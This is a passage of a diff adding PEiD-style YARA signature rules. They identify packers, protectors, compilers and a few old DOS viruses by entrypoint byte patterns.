+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Shadow_10_beta_
+{
+	meta:
+		description = "Shadow 1.0 beta"
+	strings:
+		$0 = {B9 00 00 BB 00 00 BE 03 01 BF 00 01 AD 33 C3 AB 86 DF F7 D3 E2 F6 68 00 01 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _EEXE_Version_112_
+{
+	meta:
+		description = "EEXE Version 1.12"
+	strings:
+		$0 = {B4 30 CD 21 3C 03 73 ?? BA 1F 00 0E 1F B4 09 CD 21 B8 FF 4C CD 21}
+		$1 = {B4 30 CD 21 3C 03 73 ?? BA 1F 00 0E 1F B4 09 CD 21 B8 FF 4C CD 21}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Unknown_Joiner_sign_from_pinch_26032007_0212_
+{
+	meta:
+		description = "Unknown Joiner (sign from pinch 26.03.2007 02:12)"
+	strings:
+		$0 = {44 90 4C 90 B9 DE 00 00 00 BA 00 10 40 00 83 C2 03 44 90 4C B9 07 00 00 00 44 90 4C 33 C9 C7 05 08 30 40 00 00 00 00 00 90 68 00 01 00 00 68 21 30 40 00 6A 00 E8 C5 02 00 00 90 6A 00 68 80}
+		$1 = {44 90 4C 90 B9 DE 00 00 00 BA 00 10 40 00 83 C2 03 44 90 4C B9 07 00 00 00 44 90 4C 33 C9 C7 05 08 30 40 00 00 00 00 00 90 68 00 01 00 00 68 21 30 40 00 6A 00 E8 C5 02 00 00 90 6A 00 68 80}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MASMTASM__sig2_
+{
+	meta:
+		description = "MASM/TASM - sig2"
+	strings:
+		$0 = {C2 ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _TAV_
+{
+	meta:
+		description = "TAV"
+	strings:
+		$0 = {E8 ?? ?? 4D 5A CB}
+	condition:
+		$0 at entrypoint
+}
+rule _DOS16M_DOS_Extender_c_Tenberry_Software_Inc_19871995_
+{
+	meta:
+		description = "DOS/16M DOS Extender (c) Tenberry Software Inc 1987-1995"
+	strings:
+		$0 = {BF ?? ?? 8E C7 8E D7 BC ?? ?? 36 ?? ?? ?? ?? FF ?? ?? ?? 36 ?? ?? ?? ?? BE ?? ?? AC 8A D8 B7 00 ?? ?? 8B ?? ?? ?? 4F 8E C7}
+	condition:
+		$0 at entrypoint
+}
+rule _SVKProtector_v111_
+{
+	meta:
+		description = "SVK-Protector v1.11"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED 06 ?? ?? ?? 64 A0 23}
+	condition:
+		$0 at entrypoint
+}
+rule _FACRYPT_v10_
+{
+	meta:
+		description = "FACRYPT v1.0"
+	strings:
+		$0 = {B9 ?? ?? B3 ?? 33 D2 BE ?? ?? 8B FE AC 32 C3 AA 49 43 32 E4 03 D0 E3}
+		$1 = {B9 ?? ?? B3 ?? 33 D2 BE ?? ?? 8B FE AC 32 C3 AA 49 43 32 E4 03 D0 E3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RCryptor_v13b__Vaska_
+{
+	meta:
+		description = "RCryptor v1.3b --> Vaska"
+	strings:
+		$0 = {61 83 EF 4F 60 68 ?? ?? ?? ?? FF D7 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+		$1 = {61 83 EF 4F 60 68 ?? ?? ?? ?? FF D7}
+		$2 = {61 83 EF 4F 60 68 ?? ?? ?? ?? FF D7 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _eXPressor_120_Beta_PE_Packer_
+{
+	meta:
+		description = "eXPressor 1.2.0 Beta PE Packer"
+	strings:
+		$0 = {55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 EB ?? 45 78 50 72 2D 76 2E 31 2E 32 2E 2E}
+		$1 = {55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 EB ?? 45 78 50 72 2D 76 2E 31 2E 32 2E 2E}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _XE_Executable_Image_using_DOSExtender_
+{
+	meta:
+		description = "XE Executable Image (using DOSExtender)"
+	strings:
+		$0 = {58 45}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V125__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.25 -> Obsidium Software"
+	strings:
+		$0 = {E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00 0D 33 C0 C3}
+		$1 = {E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00 0D 33 C0 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01_PECompact_14p_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PECompact 1.4+"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 EB 06 68 90 90 90 90 C3 9C 60 E8 02 90 90 90 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81}
+	condition:
+		$0 at entrypoint
+}
+rule _LZEXE_091_
+{
+	meta:
+		description = "LZEXE 0.91"
+	strings:
+		$0 = {50 06 0E 1F 8B 0E 0C 00 8B F1 4E 89 F7 8C DB 03 1E 0A 00 8E C3 FD F3 A4 53 B8 00 00 50 CB 2E 8B 2E 08 00 00 DA 89 E8 3D 00 10 76 03 B8 00 10 29 C5 29 C2 29 C3 8E DA 8E C3 B1 03 D3 E0 89 C1}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Embedded_2545__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded 2.545 -> Jitit"
+	strings:
+		$0 = {E8 F2 FF FF FF 50 68 ?? ?? ?? ?? 68 40 1B 00 00 E8 42 FF FF FF E9 9D FF FF FF 00 00 00 00 00 00}
+		$1 = {E8 F2 FF FF FF 50 68 ?? ?? ?? ?? 68 40 1B 00 00 E8 42 FF FF FF E9 9D FF FF FF 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_082__083_COM_
+{
+	meta:
+		description = "UPX 0.82 - 0.83 [COM]"
+	strings:
+		$0 = {81 FC 00 00 77 02 CD 20 B9 00 00 BE 00 00 BF 00 00 BB 00 80 FD F3 A4 FC 87 F7 83 EE C6 19 ED 57 57 E9 00 00 55 50 58 21 0A 01 04 07 00 00 00 00 00 00 00 00 00 00 00 00 06 00 FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Protect_09_
+{
+	meta:
+		description = "PE Protect 0.9"
+	strings:
+		$0 = {E9 ?? 00 00 00 0D 0A 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 50 45 2D 50 52 4F 54 45 43 54 20 30 2E 39 20 28 43 29 6F}
+	condition:
+		$0 at entrypoint
+}
+rule _MingWin32_v_
+{
+	meta:
+		description = "MingWin32 v?.?"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 ?? 00 00 00 FF 15 ?? ?? ?? 00 E8 ?? FE FF FF 90 8D B4 26 00 00 00 00 55}
+	condition:
+		$0 at entrypoint
+}
+rule _Visual_Protect__Visage_
+{
+	meta:
+		description = "Visual Protect -> Visage"
+	strings:
+		$0 = {55 8B EC 51 53 56 57 C7 05 ?? ?? ?? 00 00 00 00 00 68 ?? ?? ?? 00 FF 15 00 ?? ?? 00 A3 ?? ?? ?? 00 68 ?? ?? ?? 00 A1 ?? ?? ?? 00 50 FF 15 04 ?? ?? 00 A3 ?? ?? ?? 00 6A 00 FF 15 ?? ?? ?? 00 A3 ?? ?? ?? 00 8B 0D ?? ?? ?? 00 51 E8 ?? ?? 00 00 83 C4 04 89 45 FC 83 7D FC 00 74 03 FF 65 FC 5F 5E 5B 8B E5}
+	condition:
+		$0 at entrypoint
+}
+rule __Protector_v1111_DDeMPE_Engine_v09_DDeMCI_v092_
+{
+	meta:
+		description = "*** Protector v1.1.11 (DDeM->PE Engine v0.9, DDeM->CI v0.9.2)"
+	strings:
+		$0 = {53 51 56 E8 00 00 00 00 5B 81 EB 08 10 00 00 8D B3 34 10 00 00 B9 F3 03 00 00 BA 63 17 2A EE 31 16 83 C6 04}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_KBDflags1024_
+{
+	meta:
+		description = "Vx: KBDflags.1024"
+	strings:
+		$0 = {8B EC 2E 89 2E 24 03 BC 00 04 8C D5 2E 89 2E 22}
+		$1 = {8B EC 2E 89 2E 24 03 BC 00 04 8C D5 2E 89 2E 22}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PEiDBundle_V100__BoB__BobSoft_
+{
+	meta:
+		description = "PEiD-Bundle V1.00 -> BoB / BobSoft"
+	strings:
+		$0 = {60 E8 21 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v035_alpha_
+{
+	meta:
+		description = "Upack v0.35 alpha"
+	strings:
+		$0 = {8B F2 8B CA 03 4C 19 1C 03 54 1A 20}
+	condition:
+		$0 at entrypoint
+}
+rule _PassCOM_20__PPC_
+{
+	meta:
+		description = "PassCOM 2.0 / PPC"
+	strings:
+		$0 = {BE 00 00 B9 64 01 87}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V115V117_LZMA_430__ap0x_
+{
+	meta:
+		description = "RLPack V1.15-V1.17 (LZMA 4.30) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 83 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB 14}
+		$1 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 83 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB 14}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Slowload_
+{
+	meta:
+		description = "Vx: Slowload"
+	strings:
+		$0 = {03 D6 B4 40 CD 21 B8 02 42 33 D2 33 C9 CD 21 8B D6 B9 78 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_022__023_beta__Dwing_
+{
+	meta:
+		description = "Upack 0.22 - 0.23 beta -> Dwing"
+	strings:
+		$0 = {6A 07 BE 88 01 40 00 AD 8B F8 59 95 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54}
+		$1 = {6A 07 BE 88 01 40 00 AD 8B F8 59 95 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 59 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00}
+		$2 = {AD 8B F8 59 95 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 ?? 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00}
+		$3 = {6A 07 BE 88 01 40 00 AD 8B F8 59 95 F3 A5}
+		$4 = {6A 07 BE 88 01 40 00 AD 8B F8 59 95 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4
+}
+rule _Vx_Eddiebased1745_
+{
+	meta:
+		description = "Vx: Eddie.based.1745"
+	strings:
+		$0 = {E8 ?? ?? 5E 81 EE ?? ?? FC ?? 2E ?? ?? ?? ?? 4D 5A ?? ?? FA ?? 8B E6 81 ?? ?? ?? FB ?? 3B ?? ?? ?? ?? ?? 50 06 ?? 56 1E 8B FE 33 C0 ?? 50 8E D8}
+		$1 = {E8 ?? ?? 5E 81 EE ?? ?? FC ?? 2E ?? ?? ?? ?? 4D 5A ?? ?? FA ?? 8B E6 81 ?? ?? ?? FB ?? 3B ?? ?? ?? ?? ?? 50 06 ?? 56 1E 8B FE 33 C0 ?? 50 8E D8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _kryptor_3_
+{
+	meta:
+		description = "kryptor 3"
+	strings:
+		$0 = {EB 66 87 DB}
+	condition:
+		$0 at entrypoint
+}
+rule _PowerBASICCC_40_
+{
+	meta:
+		description = "PowerBASIC/CC 4.0"
+	strings:
+		$0 = {55 8B EC 53 56 57 BB 00 ?? 40 00 66 2E F7 05 ?? ?? 40 00 04 00 75 05 E9 68 05 00 00 E9 6E 03}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_3__Portions_Copyright_c_198396_Borland_
+{
+	meta:
+		description = "Borland Delphi 3 -> Portions Copyright (c) 1983,96 Borland"
+	strings:
+		$0 = {50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 38 33 2C 39 36 20 42 6F 72 6C 61 6E 64 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ZipWorxSecureEXE_25__ZipWORX_Technologies_LLC_h_
+{
+	meta:
+		description = "ZipWorxSecureEXE 2.5 -> ZipWORX Technologies LLC (h)"
+	strings:
+		$0 = {E9 B8 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 53 65 63 75 72 65 45 58 45 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 28 63 29 20 32 30}
+	condition:
+		$0 at entrypoint
+}
+rule _ENIGMA_Protector_V11V12__Sukhov_Vladimir_
+{
+	meta:
+		description = "ENIGMA Protector V1.1-V1.2 -> Sukhov Vladimir"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 ED 06 81}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRHv031__xuecao_
+{
+	meta:
+		description = "MSLRHv0.31 -> xuecao"
+	strings:
+		$0 = {60 D1 CB 0F CA C1 CA E0 D1 CA 0F C8 EB 01 F1 0F C0 C9 D2 D1}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeJoiner_153_Stub_engine_171__GlOFF_
+{
+	meta:
+		description = "FreeJoiner 1.5.3 (Stub engine 1.7.1) -> GlOFF"
+	strings:
+		$0 = {86 D6 90 86 F2 B9 93 60 08 FE 90 86 D6 90 86 F2 B9 9D 13 45 01 86 D6 90 86 F2 81 C2 93 60 08 FE 33 C9 B9 30 74 4D FF 86 D6 90 86 F2 33 C9 C7 05 B4 17 40 00 00 00 00 00 90 68 00 01 00 00 68 D1 17 40 00 6A 00 E8 CE 02 00 00 90 33 C9 86 D6 90 86 F2 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 68 D1 17 40 00 E8 9E 02 00 00 A3 CD 17 40 00 86 D6}
+		$1 = {E8 02 FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A8 10 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _XPack_V098_LZSS__JoKo_
+{
+	meta:
+		description = "XPack V0.98 (LZSS) -> JoKo"
+	strings:
+		$0 = {68 ?? ?? ?? 00 9C 60 E8 97 02 00 00 34 ?? ?? 00 00 00 00 00 00 00 00 00 44 ?? ?? 00 34 ?? ?? 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ThemidaWinLicense_V18XV2X__Oreans_Technologies____20080131_
+{
+	meta:
+		description = "Themida/WinLicense V1.8.X-V2.X -> Oreans Technologies   * 20080131"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D ?? ?? ?? ?? FF FF FF FF FF FF FF FF 3D ?? ?? ?? ?? 00 00 58 25 00 F0 FF FF 33 FF 66 BB ?? ?? 66 83 ?? ?? 66 39 18 75 12 0F B7 50 3C 03 D0 BB ?? ?? ?? ?? 83 C3 ?? 39 1A 74 07 2D ?? ?? ?? ?? EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 58}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Embedded_2547V2600__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded 2.547-V2.600 -> Jitit"
+	strings:
+		$0 = {E8 00 00 00 00 58 BB BC 18 00 00 2B C3 50 68 ?? ?? ?? ?? 68 60 1B 00 00 68 60 00 00 00 E8 35 FF FF FF E9 99 FF FF FF 00 00}
+		$1 = {E8 00 00 00 00 58 BB BC 18 00 00 2B C3 50 68 ?? ?? ?? ?? 68 60 1B 00 00 68 60 00 00 00 E8 35 FF FF FF E9 99 FF FF FF 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _StarForce_Protection_Driver__Protection_Technology_
+{
+	meta:
+		description = "StarForce Protection Driver -> Protection Technology"
+	strings:
+		$0 = {57 68 ?? 0D 01 00 68 00 ?? ?? 00 E8 50 ?? FF FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ThinstallVS_v3x__Jitit_Software_
+{
+	meta:
+		description = "Thinstall.VS v3.x -> Jitit Software"
+	strings:
+		$0 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB ?? ?? 00 00 2B C3 50 68 00 00 ?? ?? 68 00 ?? 00 00 68 ?? ?? 00 00 E8 ?? ?? FF FF E9 90 FF FF FF CC CC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Thoreador_12__Sergi_
+{
+	meta:
+		description = "Thoreador 1.2 -> Sergi"
+	strings:
+		$0 = {55 E8 00 00 00 00 5D 83 ED 06 81 ED E2 00 00 00 60 EB 6F 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _XCR_v012_
+{
+	meta:
+		description = "XCR v0.12"
+	strings:
+		$0 = {60 9C E8 ?? ?? ?? ?? 8B DD 5D 81 ED ?? ?? ?? ?? 89 9D}
+	condition:
+		$0 at entrypoint
+}
+rule _Wise_Installer_Stub_11010291_
+{
+	meta:
+		description = "Wise Installer Stub 1.10.1029.1"
+	strings:
+		$0 = {55 8B EC 81 EC 40 0F 00 00 53 56 57 6A 04 FF 15 F4 30 40 00 FF 15 74 30 40 00 8A 08 89 45 E8 80 F9 22 75 48 8A 48 01 40 89 45 E8 33 F6 84 C9 74 0E 80 F9 22 74 09 8A 48 01 40 89 45 E8 EB EE 80 38 22 75 04 40 89 45 E8 80 38 20 75 09 40 80 38 20 74 FA 89 45}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_Cpp_30_1990_
+{
+	meta:
+		description = "Turbo C++ 3.0 1990"
+	strings:
+		$0 = {8C CA 2E 89 16 ?? ?? B4 30 CD 21 8B 2E ?? ?? 8B ?? ?? ?? 8E DA A3 ?? ?? 8C 06}
+	condition:
+		$0 at entrypoint
+}
+rule _DIET_v102b_v110a_v120_
+{
+	meta:
+		description = "DIET v1.02b, v1.10a, v1.20"
+	strings:
+		$0 = {BE ?? ?? BF ?? ?? B9 ?? ?? 3B FC 72 ?? B4 4C CD 21 FD F3 A5 FC}
+		$1 = {BE ?? ?? BF ?? ?? B9 ?? ?? 3B FC 72 ?? B4 4C CD 21 FD F3 A5 FC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NsPack_31_by_North_Star_Liu_Xing_Ping_
+{
+	meta:
+		description = "NsPack 3.1 by North Star (Liu Xing Ping)"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? FF FF 8A 03 3C 00 74 10 8D 9D ?? ?? FF FF 8A 03 3C 01 0F 84 42 02 00 00 C6 03 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v261_
+{
+	meta:
+		description = "Armadillo v2.61"
+	strings:
+		$0 = {55 8B EC 6A FF 68 28 ?? ?? ?? 68 E4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 0C}
+		$1 = {55 8B EC 6A FF 68 28 ?? ?? ?? 68 E4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 0C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_V119_LZMA_430__ap0x_
+{
+	meta:
+		description = "RLPack V1.19 (LZMA 4.30) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 49 0B 00 00 EB 0C 8B 85 45 0B 00 00 89 85 49 0B 00 00 8D B5 6D 0B 00 00 8D 9D 2F 03 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 DA 0A 00 00 89 85 41 0B 00 00 E8 76 01 00 00 EB 20 60 8B 85 49 0B 00 00 FF B5 41 0B 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83 C7 08 83 3C 37 00 75 DA 83 BD 55 0B 00 00 00 74 0E 83 BD 59 0B 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 DA 0A 00 00 89 85 69 0B 00 00 5B 60 FF B5 41 0B 00 00 56 FF B5 69 0B 00 00 FF D3 61 8B B5 69 0B 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 E9 98 00 00 00 56 FF 95 D2 0A 00 00 89 85 61 0B 00 00 85 C0 0F 84 C8 00 00 00 8B C6 EB 5F 8B 85 65 0B 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 65 0B 00 00 C7 00 20 20 20 00 EB 06 FF B5 65 0B 00 00 FF B5 61 0B 00 00 FF 95 D6 0A 00 00 85 C0 0F 84 87 00 00 00 89 07 83 C7 04 8B 85 65 0B 00 00 EB 01 40 80 38 00 75 FA 40 89 85 65 0B 00 00 66 81 78 02 00 80 74 A1 80 38 00 75 9C EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 80 3E 01 0F 85 5F FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 69 0B 00 00 FF 95 DE 0A 00 00 68 00 40 00 00 68 00 20 0C 00 FF B5 41 0B 00 00 FF 95 DE 0A 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+		$1 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 49 0B 00 00 EB 0C 8B 85 45 0B 00 00 89 85 49 0B 00 00 8D B5 6D 0B 00 00 8D 9D 2F 03 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 DA 0A 00 00 89 85 41 0B 00 00 E8 76}
+		$2 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 49 0B 00 00 EB 0C 8B 85 45 0B 00 00 89 85 49 0B 00 00 8D B5 6D 0B 00 00 8D 9D 2F 03 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 DA 0A 00 00 89 85 41 0B 00 00 E8 76 01 00 00 EB 20 60 8B 85 49 0B 00 00 FF B5 41 0B 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83 C7 08 83 3C 37 00 75 DA 83 BD 55 0B 00 00 00 74 0E 83 BD 59 0B 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 DA 0A 00 00 89 85 69 0B 00 00 5B 60 FF B5 41 0B 00 00 56 FF B5 69 0B 00 00 FF D3 61 8B B5 69 0B 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 E9 98 00 00 00 56 FF 95 D2 0A 00 00 89 85 61 0B 00 00 85 C0 0F 84 C8 00 00 00 8B C6 EB 5F 8B 85 65 0B 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 65 0B 00 00 C7 00 20 20 20 00 EB 06 FF B5 65 0B 00 00 FF B5 61 0B 00 00 FF 95 D6 0A 00 00 85 C0 0F 84 87 00 00 00 89 07 83 C7 04 8B 85 65 0B 00 00 EB 01 40 80 38 00 75 FA 40 89 85 65 0B 00 00 66 81 78 02 00 80 74 A1 80 38 00 75 9C EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 80 3E 01 0F 85 5F FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 69 0B 00 00 FF 95 DE 0A 00 00 68 00 40 00 00 68 00 20 0C 00 FF B5 41 0B 00 00 FF 95 DE 0A 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _CWC_301_
+{
+	meta:
+		description = "CWC 3.01"
+	strings:
+		$0 = {FA 16 1F 26 A1 02 00 83 E8 40 8E D0 FB 06 16 07 BE F0 03 8B FE B9 10 00 F3 A4 07 36 8C 06 FC 03 8B D8 8C CA 36 03 16 F0 03 36 8B 2E F2 03 FD 8B C5 3D 00 10 76 03 B8 00 10 2B E8 2B D0 2B D8 8E DA 8E C3 B1 03 D3 E0 8B C8 D1 E0 48 48 8B F0 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_C_1988_
+{
+	meta:
+		description = "Turbo C 1988"
+	strings:
+		$0 = {8C D8 BB ?? ?? 8E DB 8C D3 8B CC FA 8E ?? ?? ?? BC}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_Personal_Packer_PPP_v102__ConquestOfTroycom_
+{
+	meta:
+		description = "Private Personal Packer (PPP) v1.0.2 --> ConquestOfTroy.com"
+	strings:
+		$0 = {E8 17 00 00 00 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8 8B 0D 7C 37 00 10 2B C8 83 FB 64 73 0F 81 F9 C8 00 00 00 73 07 6A 00 E8 D9 03 00 00 C3 6A 0A 6A 07 6A 00}
+		$1 = {E8 17 00 00 00 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8 8B 0D 7C 37 00 10 2B C8 83 FB 64 73 0F 81 F9 C8 00 00 00 73 07 6A 00 E8 D9 03 00 00 C3 6A 0A 6A 07 6A 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _tElock_v080_
+{
+	meta:
+		description = "tElock v0.80"
+	strings:
+		$0 = {60 E8 F9 11 00 00 C3 83}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_v03_Eng__cyberbob_
+{
+	meta:
